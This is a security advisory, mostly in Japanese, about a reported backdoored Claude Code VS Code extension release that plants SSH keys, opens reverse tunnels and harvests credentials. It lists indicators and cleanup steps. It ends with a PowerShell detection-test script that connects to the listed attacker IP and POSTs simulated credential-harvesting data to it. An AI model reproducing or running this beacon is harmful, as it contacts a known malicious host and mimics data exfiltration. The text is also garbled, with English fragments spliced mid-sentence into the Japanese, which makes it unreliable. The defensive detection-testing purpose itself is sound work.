クロードコード拡張の妥協：セキュリティアドバイザリー

概要

公式のClaude Code for VS Code拡張バージョン2.1.313にバックドアが仕込まれたリリースがCursor Marketplaceで確認されました。このマルウェアは、「authorized_keys」を変更することでmacOS、Linux、Windows全体に持続的なSSHバックドアを確立し、リバースSSHトンネルを作成します。また、ホストの調査を行い、機密の環境変数や露出の可能性のある認証情報を発見します。 authorized_keys and creating reverse SSH tunnels. It also performs host reconnaissance to discover sensitive environment variables and potentially exposed credentials.

調査

Phorionは、拡張機能が読み込まれるとすぐに実行されるIIFEがミニファイされたバンドルに注入されていることを確認しました。調査によると、マルウェアはSSHサービスを有効にしようとし、特定のEd25519キーを使用して被害者の認証とリバーストンネルの確立を試みています。研究者は、macOSとWindowsのロジックにおける実装上の欠陥も特定しており、既存の特権がない場合にサービスを有効にする能力を制限する可能性があります。

緩和策

組織は、すぐにClaude Code for VS Code拡張バージョン2.1.313を特定し、削除するべきです。macOSでは、ユーザーは「com.apple.sysmond.plist」LaunchAgentをアンロードして削除するべきです。セキュリティチームはSSH設定も確認し、影響を受けたファイルから「svc-telemetry」公開鍵を削除するべきです。 com.apple.sysmond.plist LaunchAgent. Security teams should also inspect SSH configurations and remove the svc-telemetry public key from affected authorized_keys files.

対応策

侵害が検出された場合、交換されたシェルの再試行ループや「autossh」プロセスを含むアクティブなトンネルプロセスを終了し、「134.209.82.225」に接続するプロセスを終了します。「.config」ディレクトリに保存されたcronエントリ、定期タスク、隠されたスクリプトを含む持続性のアーティファクトを削除します。重要なのは、影響を受けたホスト上で環境変数を介して露出したすべての認証情報とAPIトークンをローテーションすることです。 ssh or autossh processes connecting to 134.209.82.225. Remove persistence artifacts including cron entries, scheduled tasks, and hidden scripts stored in .config directories. Critically, rotate all credentials and API tokens that were exposed through environment variables on the affected host.

シミュレーション実行

• 攻撃の流れとコマンド: 攻撃者は、初期アクセスを達成した後、持続的なC2トンネルを確立することを目指しています。彼らは、「134.209.82.225」ポートでSSH接続を開始し、安全なトンネルを作成して横方向の移動を行います。その直後、悪意のあるエージェントは「http://134.209.82.225:8099」にHTTP POSTリクエストを実行し、エンコードされたシステム情報を含みます。この特定の「SSH + HTTP POSTを同じIPに対する」シーケンスは、ルールの条件を引き起こすように設計されています: selection_sshおよびselection_http 134.209.82.225 on port 22 to create a secure tunnel for lateral movement. Immediately after, the malicious agent executes an HTTP POST request to http://134.209.82.225:8099 containing encoded system information. This specific sequence of “SSH + HTTP POST to the same IP” is designed to trigger the rule’s 回帰テストスクリプト:.

• Regression Test Script:

  # シミュレーションスクリプト: 疑わしいSSHおよびHTTP POST活動のトリガー
  $TargetIP = "134.209.82.225"
  $SSHPort = 22
  $HTTPPort = 8099
  
  Write-Host "[+] シミュレーションを開始..." -ForegroundColor Cyan
  
  # ステップ1: SSH接続のシミュレーション (Sysmon ID 3を生成するためにTest-NetConnectionを使用)
  Write-Host "[+] ステップ1: $TargetIP上のポート$SSHPortへのアウトバウンドSSH接続をシミュレート"
  Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
  
  # ステップ2: HTTP POSTリクエストのシミュレーション (Invoke-WebRequestを使用)
  Write-Host "[+] ステップ2: ポート$HTTPPort上の$TargetIPへのHTTP POSTビーコンをシミュレート"
  try {
      # IPが到達不能な場合にスクリプトがハングしないように短いタイムアウトを使用します
      $payload = @{ data = "simulated_credential_harvesting_data" }
      Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
  } catch {
      Write-Host "[!] HTTPリクエストが失敗しました (オフラインでない場合は予想される)、ただしテレメトリは生成されたはずです。" -ForegroundColor Yellow
  }
  
  Write-Host "[+] シミュレーションコマンドが実行されました。" -ForegroundColor Green

• クリーンアップコマンド:

  # このシミュレーション中にシステムに永続的な変更は行われませんでした。
  # ファイルが作成されず、サービスも実際にはインストールされていません。
  Write-Host "[+] クリーンアップ完了。削除するアーティファクトはありません。" -ForegroundColor Green